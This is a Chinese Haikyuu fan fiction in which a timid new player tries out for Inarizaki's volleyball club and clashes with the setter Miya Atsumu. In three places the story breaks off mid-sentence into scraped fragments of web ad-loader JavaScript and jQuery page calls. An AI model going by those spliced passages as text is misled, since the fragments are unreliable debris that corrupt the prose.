《如何攻略某排球部的狐狸二传》
1. 第一章
“白……”
“白木……”
身侧,突然传来一点拍后背的力道,双眼呆呆盯着脚底的排球馆地板的人倏然一惊,泛远思绪猛地回神。
“白木优生。”
听清自己的名字,受到惊吓的人条件反射性立即张口应声。
“在、在的!”
“……”
站在整齐排好的新生队伍前,拿着点名簿的人用写字笔圈完最后一个名字,视线从纸上抽离,投向结结巴巴匆忙应声的人面上。
栗灰色短发,靠近耳朵的地方有两簇白色挑染,身形高瘦、一张略显苍白的脸匆匆抬起后又垂下,眼瞳颜色泛浅,光线折射下些微偏向翡绿色彩。
身体紧绷、神态慌乱,看得出来、十分紧张。
北平静移开视线,面朝着已整好队的一年级新生们,
“人已经到齐,十分钟后我会带你们去第二体育馆进行水平测试,现在解散,去换衣服。”
“是——!”
混在人群中,白木优生也小声地应了声。
想起刚刚拍在自己后背的那点力道,他迟疑了下,看向身旁,一个同样挤在那换衣服的栗子头若有所察。
对上视线,他高兴道,“噢!你刚刚居然敢在三年级的前辈点名的时候发呆,真厉害啊!”
没等白木优生反应过来,自来熟的人已经靠过来。
“没、没有的……”很显然不太适应与旁人靠这么近,白木优生犹豫着克制自己向后退步的冲动,
“刚刚,是同学你提醒我的……对吧,谢谢…”
“哈哈,不用谢,毕竟我们一个班,我是理石平介,以后也得多多指教啊!”
欸…欸?
一个班的……
白木优生顿了下,他是真的没有意识到面前的这个栗子头模样的男生是他的同班同学。
或者该说,这里的一切对他来说,都是陌生的。
从关东到关西,
距离东京526千米,开车需要四小时十七分钟,拥有大片大片稻田与土壤的丰硕之地,兵库。
风俗习惯、语言交流、生活环境,完全是与关东截然不同的氛围。
但这是他为自己能争取到的、最遥远的喘息之地。
没有人认识他、不会有人再那样叫出他的名……
“白木优生。”
字。
“……”
白木优生再次呆呆抬起脸,一瞬间感觉数道视线箭头般直直盯在他身上。
打量的、奇怪的、疑惑的、好奇的,混杂在一起,手心不自觉冒出冷汗,又黏又湿。
“我、我在…”
猛一回神,他才发现,在刚刚出神间,他已经跟着新生队伍们一起进入第二体育馆。
看周遭摆设与人群分布,正是在进行测试的模样。
“到你了。”
站在队伍另一侧的北翻过点名簿,不轻不重提醒,
“跟着前面的人走。”
“是、是!”
有了明确指令,白木优生立即快步跟上。
他心里对这位高年级的前辈有些抱歉。
因为自己的走神、总是给前辈的工作造成麻烦。
路过他时,捏紧掌心,一句‘抱歉’小声地被他说出。
又轻又低、近乎错觉。
甚至不敢抬头去看反应,就匆匆跟上前面的人。
北在低头看下一个人的名字。
声音很低,他没有错过。
平静念出下一个名字后,他才稍微转移视线看向在排队的测试处。
稻荷崎第二体育馆,新生测试区,
教练、监督,与排球部的正选们此时都聚集在那里。
扎根兵库的稻荷崎素来以其排球豪门、‘职业选手的摇篮’之称于关西地区出名。
资金充裕,设备完善,不仅有学校大力支持,还有校内管弦乐部的完美配合。
超高规模的排球部专用体育馆,空前绝后的部员人数。
更有慕名而来、源源不断的新生血液。
在稻荷崎,每年的新生入部仪式都是件大事。
满怀热血与梦想的新生们在社团申请表填写下‘稻荷崎男排部’时,就已经开始走上被教练们评析估计的道路。
“所以——我们到底要为什么也在这里陪着啊!”
二楼的观战台,
不耐烦的男声似是有点压低、怕是被谁听到般。
“要抱怨就大声点,白痴。”
他身侧和他模样一致、只有发色不同的人无情吐槽。
“哈——治你这家伙才是白痴……”
“……”
习惯了双胞胎每日拌嘴,眼见两人只是口头不遂、没打起来,三年级的尾白阿兰这才调转视线,看向新生们扎堆的地方。
不出意外,在各项数据收集完后、新生们就会被教练拆分汇入不同队伍,进行实战演练。
从而决定其后的位置与训练。
白木优生没有想那么多。
他只是按照别人对他施加的指令一步一行事,按部就班完成每一项数据测试,而后站到队尾、一个隐蔽、安全、不会被旁人视线注视的地方。
陌生的地方的好处就是不会有人认识他,不认识他自然也就不会靠近。
被淹没在人群里也没关系,反正他也已经习惯。
哪怕默默无闻地度过这三年,但能每天都摸到排球,他就很满足了。
测试没有花很长时间,填写好的一年级数据表很快被送到站在场侧的总教练,黑须法宗手中。
他惯性从下往上看,不漏过任何一个有可能的球员。
“酒井上翔、山下直太郎、茨木大河、丸山佐助、早乙女丰,A队。”
黑须法宗点名,圈出几个人,再度开口,
“B队,理石平介、七川正宁、三河大辅、小田切正国以及……白木优生。”
视线落在最后圈出的名字上,黑须法宗合起名册,推着鼻梁上的眼镜开口,
“以上,其他人散开,给你们十分钟时间热身和讨论。”
“……十分钟后开始对战。”
在黑须法宗开口时结束斗嘴的宫双子终于转移点注意,望向被分成两队的新生们。
宫治没什么兴致,随意扫过几张陌生的脸就放开视线开始发呆。
宫侑则是单手托着脸靠在二楼扶手栏杆,向下看的视线转了一圈,倒是停在B队的角落,一道站在那莫名显得有些局促与格格不入的灰发身影。
“那边那个家伙……”
他慢慢眯起眼,咂了下舌没继续说话。
“你打什么位置,白木?”
照样是自来熟的理石平介过来搭话,白木优生攥紧掌心,小心翼翼道,
“主攻手……这样。”
“诶?!”
理石平介惊讶了下,将灰发少年吓了一跳,白木优生颤颤,“是、不可以吗?”
“啊、没有没有,哈哈……我看我们俩是一个位置还有点惊讶…”
理石平介没说出口的是,他一直以为这个看起来有些怯懦胆小的同班同学可能是副攻或自由人的位置。
没想到竟然都是主攻手。
他又看了眼灰发少年高瘦身板与因受惊显得没几分血色的苍白脸颊、细瘦手臂上只附着层薄薄皮肉。
……嗯,无论怎么看都很脆啊,真的没问题吗?
无论有没有问题,十分钟转瞬而逝。
在这期间,白木优生只勉强记住了队友的名字,做完热身、并按照排列顺序承担起第一个发球的重任。
他握着球走到后场,能感受到全场的视线都扎在身上。
本该是紧张的,但是握起球时心就静了下来。
没关系。
发球只有他一个人。
冰凉的皮质触感,凹凸不平的缝线槽。
起步、跳跃、抬手、挥臂,做过千百次般的行云流水。
现在需要他发出一记好球。
“——咚!”
“——砰!”
看起来一掰就能折断的手臂拉出一道圆满弧线、手掌与排球接触定点抽击。
动作干脆利落,丝毫不拖泥带水,堪称赏心悦目。
极响极亮的一声于耳侧炸响,疯狂旋转的排球以极为恐怖的球速重砸地面、狠狠反弹上墙壁。
球落地滚远,对面人没动,己方人也没动。
两分钟前还在以貌取人的理石平介大张嘴成‘O’字形。
'');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
>场上,一时间没人反应过来。
毕竟,难度为lv.10的新手村,开局就是这么一个lv.40的杀器。
还是个其貌不扬、看起来唯唯诺诺,有些迟钝的瘦弱家伙。
冲击力一时有些过载。
观赛区的宫侑单手托着脸,微微眯起眼,尾音上扬,
“嘛、一记不错的大力跳发~”
“——吥”
计分的排球部员立即吹了声哨,宣告B队拿下一分。
理石平介望了望那记打得人措手不及的大力跳发,又望了望面色苍白、落地后缓出一口气的白木优生,半晌,才缓缓开口,
“白木,你原来是……这种重炮类型吗?”
白木优生一顿,以为是指责自己不提前说清,条件反射就要紧张道歉。
灰发少年攥紧衣角,声音低低,“抱、抱歉,是我没有提前……”
“开什么玩笑!你这也太超模了吧?!”
理石平介猛地一拍他后背。
其他人也是,炸开的话语一团团一簇簇拥挤过来,满含惊喜与喜悦。
有这么一个重炮在己方绝对是最佳优势,一时、B队众人有些喜气洋洋。
但白木优生陷在围过来的人群中,却高兴不起来。
因为陌生,现在他的发球能赚来得分,所以大家会开心。
但是很快,随着时间,他们就会发现他的真面目。
发现他只是个除了发球以外,一无所有的…吊车尾。
那个时候……
白木优生勉强配合笑着,呼吸逐渐沉重。
“黑须教练,那孩子就是……”
同样站在场侧的二队教练,大见太郎,终于想起了对这个名字与这个名字所对应的人感到眼熟的原因。
黑须法宗应了声,但他此刻没有再多说什么,只是继续看向场内。
以为拥有了重炮就能获得压倒性胜利的B队随着局数进度向后推进,逐渐意识到哪里不对。
队内配合频频失误,二传给攻手的球永远打不出单独发球时的惊艳水平,除了防守勉强到位、其他根本就是马马虎虎,仿佛先前给出的‘重炮’印象只是错觉。
再一次的、在二传传给白木优生的球依旧只打出了个软飘飘的轻拍,并在被回击过后去接球时,猛地避开队友导致球落地的乌龙行动出现。
宫侑终于摁捺不住内心情绪,身体猛地向前倾,死死攥紧栏杆,
“不是、那家伙难道就这点东西吗,啊??”
宫侑深感自己被欺骗,不耐话语混杂着关西土语输出一通,
“这么轻飘飘的一记扣球,随便路上抓个三岁小孩都比他打的到位吧!”
“稍微也用点力气最起码对得起刚刚那个大力跳发啊,那么好一个直线扣球机会呃啊啊啊啊全浪费了!!”
相比之下十分冷静的宫治吐槽,“喂、太刻薄了你。”
“哈?我明明说得是真话好不好?!”
宫侑暴怒,直接就双手一压栏杆,喊道,“好歹再拿出更多——更多——啊!”
“……”
角名伦太郎默默转过脸,拉远点距离。
尾白阿兰与赤木路成对视,当即一人一半、拖着人往回拽。
“好了好了阿侑别喊了。”
“快点搭把手,马上教练就要看过来了!”
“阿治和角名也是,你们俩个别看戏了,快堵住这家伙的嘴。”
“唔唔唔唔唔——!!”
上面一团混乱,全无正经前辈模样。
“都下来吧。”
不高不低的男声响起,北信介离开新生队伍,站在那里微仰头平静道,
“马上要换人了。”
“哈——换人?”
好不容易解脱自己的宫侑周身怨气满满,但在北信介的气场压制之下只好独自插着兜撇过脸、没什么好脸色一个人嘀嘀咕咕道,
“谁那么倒霉要被换上去,反正我才不会配合这样的家伙呢…”
“……”
黑须法宗推了下眼镜,“侑,”
嘀咕到一半的宫侑:“……啊?”
“你去B队。”
宫侑:“……”
“——哈?!!!”
2. 第二章
稻荷崎第二体育馆,新生实战演练。
白木优生全身冷汗涔涔,几乎是一动也不敢动。
如被食物链上层的天敌盯上的兔子,纵使再想逃跑此刻也只能定在原地。
屏住呼吸,余光小心翼翼瞥向身侧隔了个人的站位,是在刚刚被总教练命令换人后进入队伍的正选。
一入场就满身低气压,看表情……啊、盯过来了。
白木优生倏地收回视线,眼观鼻鼻观心。
手心又黏又湿,汗都是冷的。
看起来……是个很严肃、有点凶的前辈。
“那边的。”
白木优生迟疑了下,小心翼翼探出触角试探四周,旁边没有人。
“——就是你!”
新上阵的正选前辈大声嚷嚷,“就是在叫你,左看右看的那个!”
白木优生慢了一拍,应了声,“是、是,我在。”
“喂、你最高击球点在哪?”
很少被人问这些数据,白木优生愣了下,随即在面前的前辈露出不耐表情前,迅速回忆刚刚的测试成绩,小声道,
“340cm,这样……”
宫侑挑了下眉,一个还算不错的数据。
但这也并不能让他就此改观,刚刚在二楼观战台上目睹的场景还在脑中回响。
“哼…340,左利手?”
白木优生这次是真的愣住。
罕少有人发现他是左利手,因为某些原因,他在击球时都会转移重心刻意去用右手。
瞥着年下的新生后辈呆愣住表情,宫侑不可否认、心底那份自傲有被捧到。
“这点小状况可逃不过我的眼睛。”
心情勉强好转些许,他微微勾起唇,总算愿意大人不计小人过再给面前这个欺诈观众的家伙一个机会,
“来,说吧,你要什么球,高一点还是低一点,重一点还是轻一点,还是说要更远一点……”
话语喋喋不休,白木优生定在原地。
高年级二传的话中,似乎每一个球都是为攻手量身定制。
列举出的选项仿佛递到面前的饕餮大餐,任他随意取用。
说了半天,眼看着十分钟的赛前讨论时间要过,宫侑还没得到回答,他不耐开口,“我说,你要什么……”
“……那、那个…我……是可以和前辈要球的吗?”
宫侑话一卡。
取而代之的是微妙的疑惑,对他话语内容闻所未闻的难以理解。
金发少年视线微转,停在面前的人上。
似是察觉到视线望来,白木优生一个瑟缩,才伸出的细小触角就又猛地钻回安全区,
“没、没有的,我什么都可以…前、前辈给什么都球都可以…那个、请不用在意我…”
——啊?
这不明明就是在让人超——在意吗?!
宫侑抱着手臂,没什么耐心去应付一个错漏百出又看不到未来的球渣。
盯着几乎要把自己缩成一团躲进角落里的灰发少年,他轻哼了声,
“知道了,既然这么说那我就看着来了。”
“……是、是!”
白木优生诺诺应声,小心翼翼抬起一点视线,想再去看一眼这个会询问他‘要什么球’的二传前辈。
这还是他第一次遇到会询问他的二传呢。
以前,是从不会有这样的……
“喂,”
面前传来的男声距离倏然拉近,白木优生快速一眨眼,当即抽神,喏喏就要应声。
才出口的话在对上面前之人的眯起的眼睛时倏然卡在喉中,白木优生直觉性感到一点冰冷的、野性的,自上而下的凝视,
“我传的球,如果还打不出来,那就真的是没有才能又无聊的家伙。”
“……”
好严厉。
与刚才悠悠哉哉随意模样截然不同的……强势气场。
白木优生被攥住了,
一只大掌般,勒住细细的脖颈,近乎难以呼吸。
他勉强维持着正常表情,死死攥紧自己的手心。
“是…是的,前辈…”
球网对面,为了平均两方势力,A队也被换上了两个正选。
宫侑靠近球网,就被等在网前的自家兄弟望了眼,吐槽道,
“你又去欺负后辈了?”
“啥??!”
宫治隔网望着攥紧拳、立在那儿的灰发少年,努了努嘴,“喏,那个。”
“那才不是欺负,分明就是善意的提醒、提醒才对!!”
“连我传的球都打不好的人根本就是废物啊!”宫侑不甘呐喊。
“嗨嗨——”
宫治懒得和他争辩是否‘善意’,扫过另外半片球场,攥紧拳的人似乎已经重整好情绪,勉强抬起头,仍旧是那副模样,看不出更多。
他挠了挠头,眼看着差不多了就举起手抱头,准备开始。
A队换上了二年级的宫治和三年级的自由人赤木路成。
B队换上了二年级的宫侑和二年级的副攻角名伦太郎。
“吥——!”
场侧的吹哨部员吹响发球哨。
A队发球,宫治拿着球想了想,决定对新入部的后辈们友善点,只发了个普通的上手球。
“喂喂~不要放水啊阿治!”
他动作一出,对面的宫侑就开始揭短,额头冒出井字形,
“好啰嗦啊你!”
一球发出,位置正好,理石平介接住这一球,传出一个勉强到位的一传。
宫侑快速转移,双手举起一托,跟着几人助跑起跳的白木优生直觉一僵。
啊、球……球过来了。
好快。
干脆利落的传线,宫侑手指一拨,视线立即跳转那个灰发小子,心底慢悠悠念着,
哼~就这么来个球试试水吧。
掌心甫一接触,白木优生身体绷紧。
本能促使要扣下手,肌肉记忆做出扣球姿势后理智又猛地拉回。
如溺水之人猛地扎入水底,到达掌心的球扣下力道一削再削。
又是一记轻飘飘的扣球,三年级的自由人赤木路成直接救起,由后排的宫治打回。
目睹过程的宫侑‘嘁’了一声,没多停留,再次组织进攻。
白木优生没有漏过那一声嘁声。
甚至在意识到的那一刻,心脏慢跳半拍。
……他又做错了。
浪费了一个前辈特意在开始传给他的球。
绝对会失望吧。
真是抱歉……他早该知道他就是这么一个让人失望扫兴的家伙。
白木优生呼吸紧促,防守救球、参与掩护进攻的同时余光小心望着宫侑的身影。
跑动身影起伏,动作干脆利落行云流水。
举手投足自信满满,与其他人的配合堪称天衣无缝,最大程度发挥这支临时队伍的潜能。
只除了游走在外的他。
白木优生虽然有些失落,但不可避免感受到一点安心。
所以……前辈一定不会再给他传球了。
毕竟,要得分的话…怎么看都是给能为队伍带来最大效益的其他人更好。
只要不看向他,就这么平淡度过也没关系…
——但事实上,并没有。
擅长调动全队的二传即使面对临时队友的大小状况也能把握得恰到好处。
远远地,宫侑声音传来,
“就算是废物,现在——”
“——多少给我把你那只左利手用起来啊!”
起跳的弧度不高不低,传至手掌的球面触感蹭着掌心只有一秒不到的思考时间。
没有人会去在意的,他。
思考超过一秒,滞空排球已经越过最佳扣球区,眼看着是不能救回了。
宫侑看着,没好气地想果然不该对这个家伙存在一点希望,凭白浪费一个传球。
角名伦太郎没什么表情,万岁的拦网动作将要落地,他用了半秒时间思考该如何帮临时队友收尾。
双胞胎心灵相通,宫治大概能感知到此刻宫侑的情绪,瞥着隔着道球网的苍白少年面庞。
嗯、看来这家伙……之后绝对要被侑那个笨蛋追着骂了。
场上没有人对他抱有任何期望。
……
白木优生却忽然动了。
他不知道自己在此刻该做出什么表情。
只能如宫侑所言,展开行动。
确凿的指令与命令会强制调控,被误打误撞碰开。
从心底生出的惊惧抵抗与恶心感混杂着不可以违抗明确指令的要义摩擦压制。
一秒瞬间,情感偏向的重要一点占据上风。
栗灰色身影硬生生卡着扭转身子、以众人毫无预料的绝妙身体韧性将已错过的最佳扣球区域重又拉回。
罕少在公开场合使用的左利手拍上球面时又是习惯性地就要收回力道。
‘——连我传的球都打不好的人根本就是废物啊!’
宫侑的声音再度响起。
其实,白木优生并不在意自己是否会被别人称为废物、废材、杂鱼或是球渣什么,他对此没有特别的念头。<
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
p>能打到球就已经很好了,哪怕只是被发配去捡球…他也很开心。
可此刻情感偏向使然,
……唯一的,会询问他的二传手。
哪怕只是例行常事、一视同仁。
但对从未拥有过的他来说,能在这一刻造成一瞬的犹豫就已注定结果。
强硬克制本能与手臂抽搐,力道从小臂延伸至指尖。
纤瘦身躯绷紧如张满的弓弦,看上去一掰就断的手臂不知从何而来一股力量,满满堆砌,掌心与球面甫一接触,很大一声。
“——砰!”
“——咚!!”
恐怖球速加持下的球呼啸而过、触地弹飞,撞到墙后猛地冲撞落地。
连转几次才缓解力道,“嘭嘭嘭”地弹跳着滚远了。
场面一时寂静。
明明没人对他抱有期望。
但他偏偏扣下完美一球。
赤木路成作为自由人,是最能感受到刚刚那球近乎杀人的恐怖球速与力道,看向落地后就没再动的灰发少年,他慢慢站起身。
沉默了下,赤木路成抬起手盯着灰发身影擦了把脸。
以那样单薄瘦削的身体、打出这样的扣杀。
全然单纯的力量与暴力,
是无可比拟的天赋。
“吥——!”
回过神来的吹哨员发出长长哨音,示意B队成功得分。
B队几人才回神。
单以宫侑性格来说,能在错过最佳扣球区还硬生生扭转自身、打出一记堪称超水平发挥的完美扣杀的攻手怎么看都算得上不错。
如果放在其他地方,他一定会很给面子说句“还行”“挺厉害的嘛”或者夸张点的“卡酷一——”。
但是面对着这个几分钟前才被他情绪上头说成是‘废物’的后辈,饶是他再没心没肺,此刻也多少有点哽住。
……既然是能做到的,一开始就表现出来不就好了吗!
现在这样,真的很让人尴尬啊!!
他内心别扭,但还是勉强走到扣完球就定定站在那没动静的人面前,嘟囔着组织言语,
“喂,那个,刚刚你那球还、还……呃额额额就是…”
头一次觉得说话是这么麻烦的一件事,他不耐烦抓着自己的头发,搜刮肚肠试图强迫自己开口,
“勉勉强强的程度,能打出来就别藏着掖着!早早点打出来才对啊!!”
缓口气,念叨完了,知道该说说该夸夸,好歹是个勉强表现还不错的后辈,虽然有点问题,但是稍微对付一下会很合手也说不定。
宫侑抓了抓头发,愁眉苦脸思考,总算挤出句不算夸赞的夸赞,
“能把我传的球打出这个程度,也就还行吧。”
“……”
“……啊。”
宫侑虽然装作撇着脸没在看他,但余光其实一直都望着。
自然在第一时间捕捉到了点异常动静。
每天都擦得干干净净的体育馆地板,不知何时落下一滴水珠。
宫侑:?
“啪嗒”又是一声。
砸在地板上,接连地一滴又一滴,顺着下颌弧度,从苍白又没多少肉的脸颊滚落,细细小小,很安静。
似乎稍微一个不注意就会被忽略。
宫侑:…欸、欸?
呼吸的声音也被抑制到最低,仿佛习惯性忍耐痛苦、几不可闻。
地板上很快碎碎圆圆、聚起一滩水花。
宫侑呆滞。
站在那,能望进对面之人那双光线折射下偏向翡绿的眼眸。
那里面空空荡荡的,仿佛蒙着层潮湿不散的雾,又像是淋了一阵静谧绵延的雨。
“抱、抱歉……”
面色苍白的人似乎自己也没有意识到发生了什么,慌乱地、手忙脚乱地伸出手抹着脸,出口的声音颤且抖,
“对不起…真的对不起,我不是故意的……”
他的声音碎碎的,混杂着并不清晰的抽噎,但却力图说出口的道歉尽量清晰,
他一连说着无数遍对不起,深深弯下腰、失态情绪泛滥,身体都是生理性在颤。
地板面上的水花积得越来越多,克制不住般。
才想继续说下去的宫侑,看着面前颤抖的灰发身影,头一次感受到自己站不住脚,
“你……”
“对不起、对不起……”
“……”
宫侑已经死目,面对面前这打了人一个措手不及的情况。
不是,明明他还什么都没干,
——怎么就哭了啊?!!!
3. 第三章
他知道,他一定会搞砸的。
无论是什么。
“……”
“白木,先起来去洗个脸。”
大脑浑浑噩噩的、身侧却突然传来一道冷静至极的男声。
闻声,走散的思绪缓缓收回,虚焦眼瞳定了定神。
眼前是白线横亘而过的地板,白木优生慢一拍意识到,
……自己现在已经下场了。
因为突发的情绪失控与眼眶滚滚溢出的控制不住的泪水……
等等、球场地板上还有他的眼泪,必须要去擦掉,万一有人踩到不小心滑倒就糟糕了!
直到刚刚还呆愣愣盯着面前地板灰发少年猛地攥紧拳站起,余光不多不少关注着他状态的几人同时望去。
白木优生喏喏,“抱、抱歉,我先、先过去把水渍擦掉!”
先前开口叫他的人,披着队服外套的北信介闻言,微侧首,“刚刚已经清理结束了,不用担心。”
啊、
原来已经……处理完了啊。
心脏缓缓放回胸膛,白木优生松开攥紧的拳头。
幸好…幸好……
跟着北信介的侧脸,看向球场方向。
练习赛仍在继续,没有因为他这个半道下场的人就中止。
黑须法宗换上了新的一年级生代替了他的位置,此刻正在教练区观察场内状况。
“走吧,”北信介收回视线,落在身侧身形高瘦的灰发少年身上,“我带你去洗脸。”
白木优生:“不、不用麻烦前辈,我自己一个人就可以……”
北信介耐心等他说完,才开口,“是教练的嘱咐。”
白木优生话一顿,低下头,听话跟着他身后出去了。
两道身影一前一后离开球馆侧门,馆内休息区站着的几人这才有一搭没一搭开口。
“从下场后就一直在发呆吧?”
“好像是,要不是阿北喊他一声,估计还在发呆。”
“看起来怪可怜的。”
“……”
缩在墙角几乎自闭的人转头大喊,“我也很可怜啊!!!”
其他人对视一眼,应付道,
“嗯嗯嗯,阿侑也是阿侑也是……”
洗手池就在球馆外没有很远的地方。
接了一捧水,白木优生扑到脸上,被冰凉的温度一刺激,浑浑噩噩的大脑这才勉强清醒些。
他默默擦着眼睑与脸,发酸的眼睛稍微好受了一点。
感觉差不多了,就用手臂擦了擦脸上的水渍。
旁边还有前辈在,他不想让人久等。
深吸一口气,白木优生:“那个、前辈,我已经洗好……”
“——喏。”
随意的男声响起,身侧落下一道阴影,并着手臂、手掌一起递到面前。
白木优生低头。
手掌上,是一方叠起来的手帕。
望着那方手帕,他迟疑了下,眼皮上没擦干的水珠浸到眼睛里,不舒服地眯起眼,
“这个你拿去擦吧。”面前站着的人单手插兜,又把手帕往他面前递了下。
白木优生这次看清,来人正是刚刚在球馆内、在球网对面站着的前辈。
是被同队的那位二传手前辈叫做……samu(治)的,两人模样一致、似乎是双胞胎。
白木优生结巴:“我、我可以收下吗……”
宫治大脑放空,没什么想法地等着。
啊、早知道不接这么麻烦的事了,都怪sumu(侑)那家伙。
自己把别人弄哭了,过意不去的话就自己过来啊,缩在角落里自顾自喋喋不休地说了一堆垃圾话,结果还不是让他来给他收尾。
算了,看在今晚那家伙难得自愿让出的双份牛奶布丁的份上。
宫治:“拿走吧。”
反正又不是他的手帕。
眼见着面前的灰发前辈似是想到什么事情、表情逐渐变得不耐,白木优生不敢再多说,慢慢伸出手取下宫治递来的手帕,犹豫道,
“多、多谢前辈。”
宫治:“不用谢。”
他单手抓了下后脑,想到什么再次开口,“也不用还了,你随意处理,丢掉还是扔掉都行。”
白木优生瞳孔大睁。
宫治任务完成,也没什么想再多说的意愿,摆了摆手。
北一直站在水池旁侧,等待着没出声。
宫治:“北前辈,那我就先回球馆了。”
北信介:“嗯,去吧。”
原地剩下握着手帕不知所以的白木优生。
北信介站起身,视线转到灰发少年潮湿的鬓发与眉睫,平静道,
“把水擦干,我带你去医务室。”
医务室?
白木优生的疑惑不加掩饰写在脸上。
……是这位北前辈哪里有不舒服吗?
“不是我,”北似乎能看透他心底在想什么,只平静看着他,
“白木,是你。”
……
宫治回到体育馆时,场上的新生对抗赛换了一批人,依旧还在继续。
他看了几眼就移开视线,落在自己的双胞胎兄弟,已经离开角落、但仍在那嘀嘀咕咕不知在干什么的宫侑身上。
站回原位,一左一右两个人仿佛镜面般立在那儿,从身高到面容,无一不像,只除了队服号码、发色与面上表情不同,其他乍一眼看上去几无区别。
察觉到身后回来动静,宫侑猛地一回头,直盯盯望过来。
——看起来很傻。
宫治:“……”
“给了。”他冷酷道。
宫侑表情稍缓,但随即又变得纠结凝重起来。
宫治不想探究他现在的脑内想法,就算探究了估计也是一堆难以理解的废料。
在此刻,他只觉得因为双份布丁就任劳任怨帮宫侑擦屁股的自己实在是太好人了。
“所以,你做了什么,那个一年级突然就哭成那样?”宫治站在那随意开口。
“我什么都没做啊!!”
一提到这个话题,宫侑整个人都有些濒临崩溃。
刚刚他已经尝试无数次解释他真的什么都没做,但是表情微妙的三年级前辈们一边口头应着“嗯嗯嗯”,一边顾左右而言他。
眼见着金毛狐狸是真的要炸毛,这才及时止损哄道。
“我们当然知道侑你什么都没做,”尾白率先开口。
“是啊是啊,”赤木路成打圆场道,“毕竟你要是做了些什么的话,也不会乖乖站在这里为自己争辩了。”
银岛结点头。
宫侑:完全高兴不起来。
这信任也太微妙了。
“不过那个一年级突然就那么哭起来…是压力太大?承受不住?”尾白再次提出猜想。
赤木路成皱眉,没说话。
宫治望向宫侑,宫侑表情从刚刚被不靠谱的三年级前辈们搞得乱糟糟的愠怒不乐逐渐转为细思下的不解与沉默。
是啊,为什么呢?
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
人只有在感到极度惊惧、悲伤、喜悦等过量情绪,超过当下能容纳的储值时,才会无法控制自己。
那个名叫‘白木优生’的一年级,看起来……似乎并不太会与人正常交流。
反应迟钝、总在发呆、畏畏缩缩、言语结巴。
要素叠满、似乎在他身上发生什么都是理所应当的。
但没什么是理所应当的。
“不知道。”宫侑生硬开口,并撇过头,表现出一副不想在意的模样,
“反正也就是个球打得乱七八糟、非常勉强才能算看得过去的家伙!”
“结巴还是爱哭什么的都无所谓,我才会不关心他怎么样呢——!”
最熟悉他的宫治懒得听,自己打了个哈欠。
不关心……所以自己嘀咕犹豫了半天,最后决定非要让他去送手帕?
嗯、不管别人信不信,反正他不信。
宫治抽神瞥向球场,最后一场新生对抗赛也结束了。
稻荷崎男排部当日的安排基本告终。
教练黑须法宗会根据排球部新生们测试数据与实战表现来安排他们后续的位置与练习,公开宣告了这一点后就让集合整队的众人解散离开。
与其他要么紧张、要么期待、整夜难眠的一年级新生不同,被同班的理石平介转告这些的白木优生对结果没有太大的期冀,更没有担忧、害怕等情感。
他更在意一些其他的东西。
空荡的房间内,独自坐在桌前的人低下头、面前整整齐齐叠放着那块下午时被递来的手帕。
在北信介的面前,他还是听话地展开手帕擦了擦脸,把多余水渍擦干。
但之后,白木优生却并没有按照宫治所说“随意处理,丢掉或者扔掉”,而是小心翼翼收好,带回家后清洗得干干净净,又用烘干机专门烘干,整齐叠放在一个小盒子里。
盒子里原本放着块点了碎钻的名表,此刻那块有价无市的表被桌前的人随手搁在一旁,倒是认认真真、端端正正地将手帕安妥放进,十分珍惜且珍重。
打着绷带的食指与中指被缠在一起,在做细小动作时就有些不太顺利。
但白木优生不关心那些,视线只直直落下,落在手帕表面被露出的狐狸刺绣图案上。
很可爱的一只,圆滚滚、肥嘟嘟的金毛狐狸。
望着那只狐狸,他唇角微抿,露出一点浅浅的笑。
被绷带缠住的指尖一点点触着圆溜溜的金毛狐狸,白木优生慢慢吐出口气。
“samu(治)啊……”
将透明盒盖盖上,小心翼翼端着它,他将其放在一个专门用来储物的架子上。
架子上东西很少,算上即将放上去的这个盒子,也就三个。
一张黑卡,两个同样放小东西的盒子。
巧的是,两个盒子的盖子都是透明的,从上往下看,看得清清楚楚。
——盒子里面,都放着条被珍惜叠好的手帕。
手帕的刺绣印花一样都被翻了上来,露在最上面。
此时落入翡绿色的眼瞳中,更是荡起微微涟漪。
一只是圆溜溜的金毛狐狸,另一只如出一辙,也是如此。
白木优生望着它们,眼底流淌着温暖的情绪。
色调灰白的空荡房间里,只有这一块有稍暖的灯光打下。
他慢慢弯起眼,小心且宝贝地推好位置,心脏一点一点跳动起来。
又遇见了一个…愿意给他递手帕的人。
好开心。
4. 第四章
早上七点,闹钟准时响起。
白木优生的一天,从挣扎着去关闹钟结果一头栽下床开始。
洗漱、换衣服、出门、赶公交。
去往稻荷崎的公交站离住宅约要步行三分钟,到站后约莫五分钟就会等到从终点站驶出的直达公交车。
在固定站下车,按照路旁的指示牌,在步行道上一路跟着走就能抵达稻荷崎大门。
望着排球馆方向,白木优生心下稍定。
紧了紧背上球包,深吸一口气,
昨天似乎没有开个好头,所以今天…一定要——
“早。”
“……呃呜!”
背后,突然不轻不重传来一声男声。
白木优生受惊,浑身僵硬,卡卡顿顿转过半个头,随之入目的是几道高低不平的身影。
统一的稻荷崎制服,卡其色西装外套与灰色制服裤,内搭白衬衫与深红领带。
白木优生认出来,拘谨道,“早、早上好,前辈……”
“嗯,”靠他最近的人应了声,“北就好。”
他喏喏,“是、是…北前辈。”
“阿北,怎么不走?”
落后一步的高些人影疑惑出声,目光也随之投来,看清人影恍然大悟,一敲掌心,
“啊,是昨天的那个……呃,哭了的…”
同样跟着他们一起过来的角名边单手插兜边玩手机,闻言看了眼,直接开口,
“是白木,阿兰前辈。”
尾白阿兰当即打了个哈哈,“啊、好,白木啊,早上好,你也来得很早啊。”
被称作‘哭了的’白木优生:“是、是的…前辈也早。”
啊…昨天没控制住自己,直接哭了的那件事…看起来,已经被记住了。
好像不是什么正面印象……有点糟糕。
白木优生抿着唇,有些紧张,身体还是僵硬的。
他不自觉攥紧球包,想努力说些什么,但是话到嘴边总堵住,一时之间、气氛卡住。
糟了…明明想表现得好一点,最起码不要被讨厌,但是现在……完全说不出话来。
该怎么办,这样下去会被讨厌的吧。
肉眼可见的、灰发少年越来越紧张,甚至呼吸都不自觉停住。
落后一步的尾白阿兰就见着面前这个一年级后辈整个人表情越来越不安、气场越来越低迷,到最后竟几乎就要变成蛋花眼小心翼翼望过来。
尾白阿兰笑容僵在脸上。
等等、他还什么都没说啊,这孩子……怎么看起来又要哭了?!
